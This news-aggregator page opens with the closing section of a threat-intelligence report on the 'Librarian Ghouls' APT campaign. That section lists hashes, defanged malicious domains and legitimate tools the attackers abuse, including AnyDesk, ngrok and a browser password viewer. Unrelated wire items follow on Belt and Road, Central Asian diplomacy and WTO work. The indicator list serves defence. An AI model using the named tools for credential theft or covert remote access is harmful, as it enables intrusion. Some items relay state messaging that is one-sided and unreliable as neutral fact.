At the time of this report’s release, the Librarian Ghouls APT campaign described in it is still active, as evidenced by attacks we observed in May 2025. Consistent with previous activity, the attackers leverage third-party legitimate utilities rather than developing custom tools. All of the malicious functionality still relies on installer, command, and PowerShell scripts. We observe that the attackers are continuously refining their tactics, encompassing not only data exfiltration but also the deployment of remote access tools and the use of phishing sites for email account compromise. We constantly monitor this threat actor and will continue to share up-to-date information about its activity.

Indicators of compromise

* Additional indicators of compromise and a YARA rule for detecting Librarian Ghouls activity are available to customers of our APT Intelligence Reporting service. Contact intelreports@kaspersky.com for more details.

Decoy documents

cab1c4c675f1d996b659bab1ddb38af365190e450dec3d195461e4e4ccf1c286
dfac7cd8d041a53405cc37a44f100f6f862ed2d930e251f4bf22f10235db4bb3
977054802de7b583a38e0524feefa7356c47c53dd49de8c3d533e7689095f9ac
65f7c3e16598a8cb279b86eaeda32cb7a685801ed07d36c66ff83742d41cd415
a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e
6c86608893463968bfda0969aa1e6401411c0882662f3e70c1ac195ee7bd1510

Malicious PS1 scripts

8b6afbf73a9b98eec01d8510815a044cd036743b64fef955385cbca80ae94f15
7d6b598eaf19ea8a571b4bd79fd6ff7928388b565d7814b809d2f7fdedc23a0a
01793e6f0d5241b33f07a3f9ad34e40e056a514c5d23e14dc491cee60076dc5a

Miner installer (install.exe)
649ee35ad29945e8dd6511192483dddfdfe516a1312de5e0bd17fdd0a258c27f

Miner controller (bmcontrol.exe)
9cce3eaae0be9b196017cb6daf49dd56146016f936b66527320f754f179c615f

Miner launcher (run.exe)
d7bcab5acc8428026e1afd694fb179c5cbb74c5be651cd74e996c2914fb2b839

Legitimate software

AnyDesk
Blat
curl
Defender Control
Customized RAR 3.80
AnyDesk
Mipko Personal Monitor
ngrok
NirCmd
4t Tray Minimizer
WebBrowserPassView

Librarian Ghouls malicious domains

vniir[.]space
vniir[.]nl
hostingforme[.]nl
mail-cheker[.]nl
unifikator[.]ru
outinfo[.]ru
anyhostings[.]ru
center-mail[.]ru
redaction-voenmeh[.]info
acountservices[.]nl
accouts-verification[.]ru
office-email[.]ru
email-office[.]ru
email-informer[.]ru
office-account[.]ru
deauthorization[.]online
anyinfos[.]ru
verifikations[.]ru
claud-mail[.]ru
users-mail[.]ru
detectis[.]ru
supersuit[.]site
downdown[.]ru
dragonfires[.]ru
bmapps[.]org

MIL OSI Economics –

June 10, 2025

MIL-OSI Russia: Belt and Road Initiative Provides Opportunities to Boost Global Economic Growth, Promote Shared Prosperity – Chinese Ambassador to Russia

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

Moscow, June 9 (Xinhua) — The Belt and Road Initiative offers opportunities to boost global economic growth and promote common prosperity, Chinese Ambassador to Russia Zhang Hanhui said in an article titled “High-Quality Joint Construction of the Belt and Road Brings More Development Opportunities to the World,” published recently in the Russian newspaper Trud.

“The joint construction of the Belt and Road is an important initiative put forward by General Secretary of the CPC Central Committee Xi Jinping, who views the construction of a community with a shared future for mankind from a strategic height. It provides important opportunities for driving global economic growth and promoting global common prosperity,” the publication said.

As the Chinese diplomat noted, for 12 years, the Belt and Road Initiative has consistently adhered to the “principles of joint discussion, joint construction and joint use, constantly expanding the scope and areas of cooperation, and raising its level.” He emphasized that within the framework of the initiative, a global partnership network has been created, including more than 150 countries, thousands of projects are being implemented – both large infrastructure projects and small ones that are effective in terms of improving the well-being of the people. “This truly promotes ‘hard connectivity’ in the field of infrastructure, ‘soft connectivity’ in the field of rules and standards, as well as ‘cordial connectivity’ in people-to-people exchanges between countries,” the article states.

Zhang Hanhui cited data showing that in the first quarter of 2025, the share of countries participating in the Belt and Road Initiative in China’s foreign trade turnover reached 51.1 percent. In April, construction of key facilities of the China-Kyrgyzstan-Uzbekistan railway began, and in May, Colombia officially joined the large family of high-quality joint construction of the Belt and Road, which, according to the ambassador, once again demonstrated “the attractiveness, influence and inspiring power of this initiative.”

The article emphasizes that the world is currently entering a new turbulent and volatile period, accompanied by a revival of anti-globalist sentiments and protectionism. “The United States openly violates the rules of the World Trade Organization, goes against the basic laws of economics and market principles, acts contrary to common sense, shifts internal problems to external partners and seeks to benefit at the expense of the entire world. They brazenly unleash tariff and trade wars, which seriously damage the multilateral trading system and the existing economic order, harming the interests of the international community, especially the countries of the Global South,” the publication says.

At the same time, as the Chinese Ambassador to the Russian Federation noted, China, raising high the “banner” of mutual benefit and common gain, joint development and opposition to hegemony, relying on a solid foundation, high stability and powerful development potential of a super-large economy, unites like-minded people advocating for justice and equality in international trade, and firmly responds to the “mirror duties” of the United States.

“The high-quality joint construction of the Belt and Road has always adhered to the principle of openness in cooperation and mutual benefit through cooperation. China has been steadily expanding openness, removing barriers, increasing market access, promoting the construction of Silk Road e-commerce pilot cooperation zones, and concluding free trade and investment protection agreements with more and more countries,” Zhang Hanhui explained, stressing that the initiative has become a key force in safeguarding multilateralism and free trade.

Speaking about the development of the digital economy and artificial intelligence, which are increasingly becoming an important engine of global economic growth every day, the ambassador noted that China insists on stimulating industrial innovation through scientific and technological innovations and accelerating the formation of productive forces of new quality. In an effort to eliminate the digital divide, China will promote the formation of an open, fair, impartial and non-discriminatory global environment for innovative development, so that together with the countries of the Global South, we can board the “high-speed train” of the digital economy and green development, the author of the article assured.

As Zhang Hanhui pointed out, China welcomes Russia’s continued participation as a supporter and important cooperation partner in the Belt and Road Initiative. “We highly appreciate Russian President Vladimir Putin’s three-time participation in the Belt and Road Forum for International Cooperation and his repeated important statements in support of the initiative,” he added.

In May of this year, during the visit of Chinese President Xi Jinping to Russia, a number of new important agreements were reached on the development of Chinese-Russian relations. In a joint statement, the parties reaffirmed their commitment to linking the Belt and Road Initiative with the Eurasian Economic Union, as well as promoting the coordinated development of the Belt and Road Initiative and the Greater Eurasian Partnership.

“The Chinese side will take advantage of the implementation of the agreements reached by the heads of state to deepen China-Russia cooperation and coordination, and continuously expand the space for mutually beneficial development at a higher level and with greater sustainability and vitality, which will open up new opportunities for global prosperity and make new contributions to advancing the building of a community with a shared future for mankind,” Zhang Hanhui assured, adding that the joint construction of the Belt and Road stands on the right side of history, is in line with the logic of the era’s progress, and follows the true path of human development. –0–

MIL OSI Russia News –

June 10, 2025
MIL-OSI Russia: The container hub project in the port of Aktau gives a new powerful impetus to the development of TMTC

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

NANJING, June 9 (Xinhua) — The first phase of the first launch complex of the container hub project in the Aktau port of Kazakhstan was officially put into operation on Monday, which will give a new powerful impetus to the development of the Trans-Caspian International Transport Corridor (TITC), experts said.

The above-mentioned project, located on the eastern coast of the Caspian Sea, is a key hub that connects the port of Baku in Azerbaijan and increases the capacity and efficiency of the TMTC.

“The launch of the first launch complex of the container hub in the port of Aktau is an important stage in the development of the transport system of Kazakhstan and the Trans-Caspian route connecting China with Europe via Central Asia and the Caspian Sea,” noted Damir Kozhakhmetov, General Director of KTZ Express JSC.

According to him, the emergence of modern transshipment infrastructure on the Caspian Sea coast will reduce the overall time of cargo delivery between China, Central Asian countries and Europe. This will make TMTC more reliable, competitive and convenient for business.

According to the data, the total area of the project is about 19 hectares, and its designed throughput capacity is 240 thousand standard containers /TEU, twenty-foot equivalent/ per year.

“The project contributes to the creation of new jobs, stimulates the development of related industries, such as warehouse logistics and terminal services, and also opens up additional opportunities for export-import operations,” added D. Kozhakhmetov.

Over the years of joint work between China and Kazakhstan in the transport and logistics sector, such large infrastructure projects as the Kazakh-Chinese logistics base in the port of Lianyungang /Jiangsu Province, East China/, the land port “Khorgos – Eastern Gate” on the border of the two countries, and the international transit motor corridor “Western Europe – Western China” have been put into operation.

D. Kozhakhmetov believes that these facilities have become the basis for building a modern logistics infrastructure between the two countries. And the container hub in Aktau is a logical continuation of joint work.

“It unites more than 7 thousand km of transport network – from the east coast of China to the Caspian Sea, forming a full-fledged land-sea route within the framework of the Belt and Road initiative,” said D. Kozhakhmetov.

Chairman of the Board of JSC “FB “Samruk-Kazyna” Nurlan Zhakupov said that this project is an important step in the development of the transport and logistics sector of Kazakhstan.

He emphasized that Kazakhstan is located at the junctions of the international transport corridors “North-South” and the Trans-Caspian International Transport Route /Middle Corridor/. This emphasizes the importance of the Aktau port in regional and international logistics.

Deputy Mayor of Lianyungang Ren Dong noted that the container hub project in Aktau port demonstrates the forward-looking planning of China and Kazakhstan within the framework of the joint construction of the “Belt and Road”. It will further deepen interconnectivity, increase the throughput capacity of the TMTC, and promote trade and economic development of countries along the route.

Let us recall that the project is being implemented in two stages. The first stage occupies an area of 9.1 hectares, on the territory of which 3 railway loading and unloading lines and about 690 container sites have been built. It will allow for a full cycle of operations – container handling, customs inspection and handling of hazardous cargo. -0-

MIL OSI Russia News –

June 10, 2025
MIL-OSI Russia: The SCO Cup 2025 tennis tournament was held in Beijing

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

BEIJING, June 9 (Xinhua) — The 2025 SCO Cup, a friendly tennis tournament, was held in Beijing on Sunday, the news portal of the Guangming daily newspaper reported.

The event was held at the tennis center of the General Administration of Physical Culture and Sports of the People’s Republic of China. It was attended by employees of the Secretariat of the Shanghai Cooperation Organization (SCO), the Secretariat of the SCO Business Council and diplomats of the SCO countries accredited in China, as well as diplomats from the Chinese side.

The tournament champions were the Chinese Xing Lei and Li Jiwei. Second place went to Sardorbek Sirozhov and Sarvar Abdurazakov from Uzbekistan. Two pairs from Russia, Sergey Ovsyannikov/German Kizyavka and Alexander Ermolaev/Ekaterina Ermolaeva, won third place.

Speaking at the award ceremony, SCO Secretary General Nurlan Yermekbayev said that this sporting event was timed to coincide with the 24th anniversary of the founding of the SCO and the 80th anniversary of the UN, demonstrating the power of sport and physical education in promoting peace, diplomacy and friendship. -0-

MIL OSI Russia News –

June 9, 2025
MIL-OSI Russia: Astana hosts China-Central Asia Symposium on Public Administration and Dialogue on People-to-People Exchanges – 2025

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

On May 30 local time, the Symposium on Public Administration and Dialogue on People-to-People Exchanges between China and Central Asian Countries – 2025 was held in Astana (Republic of Kazakhstan).

In the photo: Deputy Director of the CPC Central Committee’s Propaganda Department Hu Heping delivers a speech.

Hu Heping noted that China is comprehensively promoting the great rejuvenation of the Chinese nation through Chinese modernization, and the Central Asian countries are also tirelessly seeking a path of development and revival with their own national characteristics. And on this path of modernization, China and the Central Asian countries are fellow travelers and good partners. The parties need to raise the level of cooperation within the framework of the joint construction of the “One Belt, One Road” (hereinafter referred to as OBOR), support each other in choosing a development path that meets national realities, promote the construction of a more equitable international order, and strengthen international humanitarian exchanges and cooperation.

In the photo: Director General of the China International Civil Aviation Authority (CICG) Du Zhanyuan delivers a speech.

Du Zhanyuan said that China and the five Central Asian countries are developing countries. Their exchanges and cooperation in many areas such as public administration have deep historical roots, a solid foundation of public opinion and a wide range of practical needs. Looking to the future, the two sides should focus on issues such as modernization, poverty alleviation and environmental protection, continue to promote ideological convergence and exchanges on the China-Central Asia concept, and strengthen the cultural foundation of the China-Central Asia community with a shared future through mutual enrichment of ideas.

Pictured: Chinese Ambassador to Kazakhstan Han Chunlin delivers a speech.

In the photo: Executive Secretary of the Amanat Party of Kazakhstan Daulet Karibek gives a speech.

In the photo: Secretary General of the Conference on Interaction and Confidence Building Measures in Asia (CICA) Kairat Sarybay delivers a speech.

In the photo: Vice Minister of Culture and Information of Kazakhstan Yevgeny Kochetov gives a speech.

In the photo: Secretary General of the China-Central Asia format Sun Weidong delivers a video address.

During the symposium, guests from China, Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, Uzbekistan and other countries held in-depth exchanges of views on the topic of the event. Jiang Yonggang, Director of the Europe and Asia Broadcasting Center (Renmin Huabao Publishing House) under the Foreign Languages Publication and Distribution Administration of the People’s Republic of China, acted as the host of the event.

In the photo: guests give speeches

In the photo: sites of four thematic sections

In the photo: the event site

On May 29 local time, a presentation of the Kazakh edition of the 4-volume collection “Xi Jinping on State Governance” was also held in Astana under the auspices of the PRC Foreign Language Publication and Dissemination Office and the National Ethnic Affairs Committee of the PRC. Du Zhanyuan delivered a speech at the ceremony.

MIL OSI Russia News –

June 9, 2025
MIL-OSI Russia: First China-Central Asia International Tourist Train Returns to Xi’an

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

BEIJING, June 8 (Xinhua) — The first China-Central Asia international tourist train returned to Xi’an, capital of northwest China’s Shaanxi Province, at around 6 p.m. Beijing time on Saturday, the Shaanxi Daily newspaper reported.

A train carrying more than 200 passengers departed from Xi’an to Almaty, Kazakhstan, on May 29. It left China via the Khorgos railway checkpoint in Northwest China’s Xinjiang Uygur Autonomous Region.

After the train arrived in Almaty, a Humanitarian and Tourism Exchange Week was held between the cities of Xi’an and Almaty, which included a variety of events, including the demonstration of intangible cultural heritage, promotion of traditional Chinese medicine culture, interaction in the sports field, and exchanges in the field of archaeology.

According to the publication, the launch of the said international tourist train accelerates deepened cooperation between the cities of Xi’an and Almaty, will significantly contribute to the development of tourism in the areas along its route and will give impetus to regional economic cooperation.

Let us recall that 2024 was the Year of Kazakhstan Tourism in China, and 2025 has been declared the Year of China Tourism in Kazakhstan.

In May 2023, China and Kazakhstan signed an intergovernmental agreement on mutual exemption from visa requirements, which officially came into force in November of the same year.

Kazakhstan is becoming a popular destination among Chinese tourists. According to statistics, by the end of 2024, the Chinese tourist flow to this Central Asian country amounted to 655 thousand people-times, which is 78 percent more than the previous year. -0-

MIL OSI Russia News –

June 8, 2025
MIL-OSI Russia: Leaders of Uzbekistan and Pakistan held a telephone conversation

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

Tashkent, June 7 /Xinhua/ — Uzbek President Shavkat Mirziyoyev and Pakistani Prime Minister Shahbaz Sharif held a telephone conversation, the press service of the Uzbek leader reported on Saturday.

The results of the practical implementation of the agreements reached during the historic visit of the Prime Minister of Pakistan to Uzbekistan in February of this year were discussed, the report says.

The progressive strengthening of strategic partnership and the intensification of contacts and exchanges at various levels were noted with satisfaction.

It is noted that there is a noticeable increase in the volume of mutual trade and cargo transportation, the frequency of direct flights is increasing. Projects are being implemented in the fields of pharmaceuticals, agriculture, textile industry, logistics and other areas. –0–

MIL OSI Russia News –

June 8, 2025
MIL-OSI Russia: Iran ready for nuclear inspections, but won’t accept coercion – president

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

TEHRAN, June 7 (Xinhua) — Iranian President Masoud Pezeshkian said Saturday that his country is ready for inspection of its nuclear facilities but does not accept coercion.

M. Pezeshkian made the statement during a meeting with Deputy Prime Minister and Minister of Foreign Affairs of Kazakhstan Murat Nurtleu in the Iranian capital Tehran, commenting on the ongoing indirect nuclear talks between Tehran and Washington, according to a statement published on the website of the presidential office.

Iran’s president has said the country’s nuclear activities are completely “transparent,” a claim that has been repeatedly confirmed by the International Atomic Energy Agency.

“We are ready for inspections, but we consider it unacceptable to deprive peoples of access to knowledge, technology and scientific achievements,” M. Pezeshkian said, adding that Iran is always ready to listen to logical reasoning, but will never allow “coercion and bullying.”

The Minister of Foreign Affairs of Kazakhstan, in turn, expressed his country’s respect for Iran’s “principled and logical” position on issues of peaceful nuclear activities.

The parties agreed to develop bilateral relations in all areas, the statement noted.

According to Iran’s official news agency IRNA, Nurtleu arrived in Tehran on Saturday morning, where he was met by his Iranian counterpart Abbas Araghchi. –0–

MIL OSI Russia News –

June 8, 2025
MIL-OSI Russia: GUU specialists at MAEF-2025 developed recommendations for balanced socio-economic development of Russia

Translation. Region: Russian Federal

Source: State University of Management – Official website of the State –

On June 5, 2025, the Moscow Academic Economic Forum (MAEF-2025) ended, part of the working program of which was held at the State University of Management.

This year, the Moscow Academic Economic Forum was dedicated to the 260th anniversary of the founding of the Free Economic Society of Russia and was devoted to the topic “Russia – 2025: the trajectory of dynamic balanced socio-economic development”. MAEF brought together more than 17.5 thousand specialists from 32 countries, including China, India, Canada, Cuba, Germany, Greece, South Africa, Belarus, Kazakhstan, Azerbaijan and Georgia.

At the ceremonial final plenary session of the MAEF, Vladimir Stroyev, Rector of the State University of Management, spoke: “We are grateful to the Free Economic Society of Russia for the trust to hold part of the forum’s working program at our university. The conference was devoted to discussing issues related to the socio-economic development of Russia. All events of the Free Economic Society are of great interest to the teaching, scientific and student community at our university, so we are glad to be part of this forum today. I hope that we will continue our cooperation and do a lot of useful things for the benefit of Russia and its economy.”

According to the President of the Free Economic Society of Russia Sergey Bodrunov, the strong regional component has become the hallmark of the MAEF. This year, in anticipation of the central events of the forum, work was carried out at 115 regional sites, which were formed on the basis of the leading universities and research centers of the country, divisions and institutions of the Russian Academy of Sciences, and regional organizations of the VEO of Russia.

The plenary session of the MAEF was held on June 4 at the Russian Academy of Sciences, and plenary conferences on June 5 were hosted by 13 sites of leading universities and research centers. The plenary conference on the topic of “Institutes for Balanced Socioeconomic Development of Russia” was held at the State University of Management.

The conference participants discussed a wide range of issues aimed at achieving balanced socio-economic development: the formation of new development institutions, strategic planning, human capital, interdepartmental cooperation, digital technologies and scientific and educational clusters.

The following key recommendations were developed as a result of the conference:

Coordination of development institutions. It was proposed to work out the issue of creating a single coordination mechanism for coordinating the actions of development institutions, aimed at implementing technological and industrial sovereignty in the context of structural transformation of the economy. Solving the problem of personnel shortage. The conference participants noted the paramount importance of the problem of systemic personnel shortage as the main limitation for achieving the goals of economic policy. It was proposed to strengthen interdepartmental and interlevel formats of labor force planning over a 5-15 year horizon, including advanced training of specialists for priority projects. Moreover, the State University of Management is one of the ambassadors of project-based learning. Transition to systemic measures of economic policy. Recognize the need to transition from targeted to systemic measures of economic policy aimed at long-term sustainability and increasing domestic demand for scientific, engineering and production competencies. Formation of a national model of integrated strategic planning. Conference participants expressed support for the idea of creating a national model of integrated strategic planning, which will include monitoring of resource, institutional and demographic constraints, as well as mechanisms for compensating for them through appropriate institutional and financial instruments.

Also, within the framework of MAEF, a youth conference was held, following which GUU student Ekaterina Glyzina (IOM, 2nd year) received a 1st degree diploma in the section “New solutions for the digital age: from theory to practice”.

We congratulate Ekaterina on her diploma, and our entire university on the successful holding of this important event.

Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

MIL OSI Russia News –

June 8, 2025
MIL-OSI China: Uzbekistan, Jordan book debut World Cup spots, China eliminated

Source: People’s Republic of China – State Council News

Three more Asian teams have punched their tickets to the 2026 FIFA World Cup following the latest round of qualifiers, with Uzbekistan and Jordan set to make their tournament debuts and South Korea extending its streak to 11 consecutive appearances. China, by contrast, was eliminated with one match remaining.

Uzbekistan secured its place with a goalless draw against the United Arab Emirates in Group A. The result was enough for the central Asian side – who featured Manchester City defender Abdukodir Khusanov and Roma forward Eldor Shomurodov – to become the fifth team to reach the tournament through the qualifying pathway, joining Japan, New Zealand, Iran and Argentina.

Qatar, the 2022 World Cup host, edged 10-man Iran 1-0 in the same group. Both Qatar and the UAE will advance to the playoffs, where two more World Cup spots will be contested.

In Group B, Jordan made history by qualifying for its first-ever World Cup following a 3-0 win over Oman. South Korea, already a regular presence on the world stage, sealed a 2-0 away victory against Iraq to maintain its perfect run since 1986. Iraq will join the playoffs, while the final playoff place from the group will be decided between Oman and Palestine, who face each other in the final round.

China’s slim hopes were dashed in Group C after a 1-0 defeat to Indonesia in Jakarta. Ole Romeny converted a penalty just before halftime to secure the win and send Indonesia to the playoff round, while China was left to reflect on another failed campaign.

Bahrain also exited contention following a 2-0 loss to Saudi Arabia. In Perth, Australia claimed a 1-0 victory over Japan, positioning itself strongly to secure a direct berth from the group. The Socceroos lead Saudi Arabia by three points and have a +8 goal difference advantage heading into the final round.

MIL OSI China News –

June 7, 2025
MIL-OSI Africa: SA, Finland launch youth mediators programme

Source: South Africa News Agency

An initiative aimed at empowering a new generation of peacebuilders has been launched by the Minister of International Relations and Cooperation, Ronald Lamola.

The Minister launched the South African segment of the South Africa–Finland Youth Peace Mediators Mentoring Programme on Friday.

This innovative initiative, jointly implemented by the Department of International Relations and Cooperation (DIRCO) and the Ministry for Foreign Affairs of Finland, aims to empower a new generation of peacebuilders in their efforts to promote global conflict resolution and achieve sustainable peace.

The one-year capacity-building initiative will establish a dynamic network of young peace mediators, providing them with practical tools to contribute effectively to peace negotiations, mediation, conflict resolution, and post-conflict reconstruction.

The programme directly supports the United Nations Security Council Resolution 2250, the African Union Agenda 2063, particularly its youth-focused governance, peace, and security pillars, and the inclusion of youth in formal peace processes worldwide.

Lamola stressed the importance of launching the programme during South Africa’s Youth Month, which honours the legacy of young activists in the fight against apartheid, particularly the heroes of the 1976 Soweto Uprising.

“We know too well that ethnic hatred poisons communities, that religious intolerance fractures societies, and that ideological fanaticism suffocates debate.

“When violence rises, freedoms crumble and the very light of democracy flickers under the storm of conflict. This is not some distant tragedy; it is the lived reality of women and children in Eastern DRC [Democratic Republic of Congo], Sudan, Gaza, and other places across our wounded world,” the Minister said.

By building bridges across continents, Lamola believes the world reaffirms that young people are not merely beneficiaries of peace, “but are essential agents of its creation.”

The department announced that 15 “exceptional” young peacebuilders were selected through a joint initiative by DIRCO’s Diplomatic Academy and Finland’s Centre for Peace Mediation.

These individuals will participate in various programmes, which include in-person workshops held in South Africa and Finland, study visits to the United Nations (UN) and African Union (AU) headquarters, and online sessions led by experts on specific themes related to peace mediation.

The participants come from conflict-affected and post-conflict societies, as well as nations that are leaders in global peacebuilding efforts.

This diverse group includes representatives from South Africa, Finland, Colombia, Egypt, Ethiopia, Haiti, India, Indonesia, Jordan, Kazakhstan, Nigeria, Qatar, South Sudan, Turkey, and Ukraine.

Strengthening international partnerships

Aligned with the South Africa-Finland Memorandum of Understanding (MoU), the programme will advance a strategic peace mediation partnership between the two countries.

The department said it will also foster networking and knowledge-sharing among young peace mediators and provide mentorship by seasoned international peace practitioners.

The Minister underscored South Africa’s role in shaping inclusive, youth-driven solutions to global challenges, ensuring that the voices of the next generation define the future of peace. – SAnews.gov.za

MIL OSI Africa –

June 7, 2025
MIL-OSI Economics: WTO members focus on TFA implementation, transit issues and capacity-building

Source: WTO

Headline: WTO members focus on TFA implementation, transit issues and capacity-building

The TFA — which contains provisions for expediting the movement, release and clearance of goods, including goods in transit — is the first WTO agreement in which developing and LDC members can determine their own implementation schedules, in accordance with their national priorities and capacities, and seek to acquire implementation capacity through the provision of related assistance and support.
The WTO Secretariat reported that 80 per cent of implementation commitments by developing and LDC members have been reached, with 65 members committed to implementing Category C measures requiring technical assistance and capacity-building over the next two years. Developed members were required to implement all provisions of the TFA from its entry into force. More information is available in the TFA database.
Developing greater transparency on TFA implementation
The WTO Secretariat reported on member notifications related to TFA implementation efforts and requests for extensions of implementation schedules. While member notifications on donor arrangements and their progress currently contain limited information and may not reflect the present situation, the TFA Facility (TFAF) is collecting survey data on capacity-building partners and assistance gaps at the member level. Members also supported several tools the WTO Secretariat has deployed through the TFA Database to enable them to track deadlines and to request extensions for implementation dates, where needed.
The Committee also took note of the WTO Secretariat report “Notification Status of Regular/Period and One-Time Only Notifications in the Goods Area (1995-2024)” (G/C/W/859 ). The document found that while the overall membership had a submission rate of TFA transparency notifications of over 80 per cent, this figure was less than 60 per cent for LDCs. The Chair signalled his availability for consultations on this matter.
Improving transit corridors and technical assistance coordination
The Committee held a dedicated session on transit, with the WTO Secretariat presenting preliminary findings from a study on transit corridors serving landlocked developing countries (LLDCs). Coordinated by Botswana as the LLDC coordinator, the study examines how corridors efficiently implement TFA measures to lower trade costs in landlocked countries which face trade costs 1.4 times higher than coastal economies.
The study covers 19 corridors across Africa, Asia, Eurasia and South America, showing transit time reductions of 20-40 per cent through digital tools and coordination mechanisms. As an example, the Northern Corridor connecting Kenya, Uganda, Rwanda, Burundi, the Democratic Republic of the Congo and South Sudan through Mombasa reduced transit times from 11 to 5 days. The updated report will be circulated before the October Committee meeting, with the WTO Secretariat organizing a side event at the UN LLDC-3 Conference in Turkmenistan (5-8 August 2025).
The African Group also issued a call for strengthened coordination mechanisms to address technical assistance and capacity-building challenges in implementing Category C measures (measures for which members have identified the need for assistance and capacity building), particularly amidst reduced development aid budgets. The Chair signalled a willingness to hold consultations ahead of the October 2025 dedicated session on technical assistance and capacity building to prepare for comprehensive discussions on strengthening coordination mechanisms.
Experience sharing showcases digital innovations
Members conducted productive experience-sharing sessions covering digitalization and Authorized Economic Operators (AEOs). China shared a presentation on “Cross-Border E-Commerce,” while the European Union highlighted the importance of digital trust-building through customs “single windows” and electronic identification systems. The United States and the OECD made a presentation on “The digitalization of trade documents and processes: going paperless today, going paperless tomorrow”.
Japan, Moldova, Mongolia and Paraguay shared national and regional AEO experiences, and Bangladesh shared a presentation on Time Release Study effectiveness, while the United Kingdom and UNCTAD discussed forthcoming publications on National Trade Facilitation Committees (NTFCs).
During the dedicated transit session, Mozambique shared its experience on transit issues while the European Union explained how corridor and transit issues are integrated into a strategy to support developing and least developed members strengthen connectivity and trade facilitation.
All presentations are available here.
Other Committee work
The Committee continued its exchanges on customs procedures, with several members maintaining engagement with Indonesia on two measures regarding customs procedures for intangible products. The United States also raised a new specific trade concern regarding Indonesia’s customs penalty regime.
Capacity building and learning sessions
Several learning sessions also took place alongside the Committee meeting. The World Bank and the World Customs Organization, in collaboration with TFAF, organized a Time Release Study methodology session on 4 June, covering measurement techniques and resource requirements.
The TFAF and certain Annex D+ organisations (consisting of ITC, OECD, UNCTAD, the World Bank, and the WCO) held an in-person training session on 2-3 June on mobilizing technical assistance and capacity building for TFA implementation. The training activity brought together 15 capital-based delegates from LDC and developing members to discuss how to better coordinate resource mobilization and to be more effective when engaging with development partners. Global Alliance for Trade Facilitation (GATF)/German Agency for International Cooperation (GIZ) and TradeMark Africa also participated in the training session on 3 June.
If you would like to receive news on trade facilitation, subscribe to the TFA Newsbytes here.

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MIL OSI Economics –

June 7, 2025
PM Modi meets Central Asian Foreign Ministers, calls for deeper regional cooperation

Source: Government of India

Source: Government of India (4)

Prime Minister Narendra Modi met with the Foreign Ministers of Kazakhstan, Kyrgyz Republic, Tajikistan, Turkmenistan, and Uzbekistan in New Delhi today, following the conclusion of the 4th India-Central Asia Dialogue.

During the joint meeting, the visiting ministers briefed PM Modi on the positive outcomes of the day’s deliberations, which focused on enhancing multilateral ties between India and the Central Asian region. The dialogue emphasized cooperation in trade, energy, security, and emerging technologies.

Highlighting India’s longstanding historical and cultural ties with Central Asia, PM Modi underscored that the region remains a vital priority in India’s foreign policy. He laid out a comprehensive vision for deeper economic interconnections, expanded connectivity, enhanced defence and security cooperation, and collaboration in emerging areas such as digital technology and climate resilience.

“A strong India-Central Asia partnership acts as a force multiplier in tackling regional and global challenges,” Prime Minister Modi said, reaffirming India’s commitment to a stable and prosperous Central Asia.

In a show of solidarity, the Central Asian ministers strongly condemned the April 22 terrorist attack in Pahalgam, Jammu & Kashmir, and voiced their firm support for India’s ongoing efforts to combat cross-border terrorism.

Looking ahead, PM Modi extended formal invitations to the leaders of all five Central Asian nations for the Second India-Central Asia Summit, to be hosted by India.

June 7, 2025
MIL-OSI Russia: SCO Youth Representatives Visit Yucun Village in Zhejiang Province

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

HANGZHOU, June 6 (Xinhua) — Young representatives of the Shanghai Cooperation Organization (SCO) countries visited Yucun Village in Anji County, east China’s Zhejiang Province, on Wednesday.

This small mountain village, widely known for its concept of “emerald waters and green mountains are priceless treasures”, is now becoming an important window for the exchange of eco-civilization construction experiences between China and foreign countries.

Young representatives of political, academic and media circles from Belarus, Uzbekistan, Kyrgyzstan, Pakistan and other countries gathered together to participate in the event organized by the Chinese People’s Association for Friendship with Foreign Countries (CPAF) and entitled “Exploring the Path of Common Prosperity”.

At the entrance to Yucun Village, they stopped to capture the clean, quiet streets and picturesquely located rural houses.

Yucun used to live off stone mining, which led to the exposure of the mountain slopes and soil erosion. Guided by the concept of “emerald waters and green mountains are priceless treasures,” the villagers voluntarily abandoned the old way of “digging mountains and selling stone” and embarked on a new path that prioritizes ecology and green development.

Since 2005, Yucun has been actively developing new forms of economy such as rural tourism and creative agriculture.

In 2024, the total operating income of the village reached 11.316 million yuan. Anji County also established a county-level platform for purchasing and trading bamboo forest carbon credits, which increased the annual trading volume of carbon credits to 350 thousand tons, bringing long-term benefits to farmers.

The guide, using an old photograph and a new panorama of the village as a basis, told the young guests in detail about the path of transformation of the village. At the foot of the green mountains, surrounded by greenery, the youth listened, asked questions, trying to catch the pulse of green development.

“This path has similarities with the development of some mountainous areas in our country,” said the young man from Uzbekistan. In recent years, Uzbekistan has also been exploring new models for integrating ecotourism and traditional agriculture, and Yucun’s experience here could not have come at a better time.

Entering the Anji County Exhibition Center of “Replacing Plastic with Bamboo”, young people looked closely at the exquisite bamboo products: disposable straws, biodegradable chopsticks, bamboo fiber clothing… Everywhere, greenery and ingenious design made people linger, tradition intertwined with modernity, and the green concept organically intertwined with daily life.

The delegation also visited green industry projects such as local guest houses, residential complexes for young highly qualified personnel, and a tourist center.

In recent years, China’s cooperation with SCO countries in areas such as ecological agriculture, clean energy and environmental management has been expanding. From green industry to green finance, from environmental training to policy dialogue, “green” has become an important link in the exchange of experience and mutual learning between China and other countries. -0-

MIL OSI Russia News –

June 7, 2025
MIL-OSI United Nations: GPDRR 2025 highlights: Thursday 5 June 2025

Source: UNISDR Disaster Risk Reduction

This report is provided by Earth Negotiations Bulletin/International Institute for Sustainable Development. View the original report here.

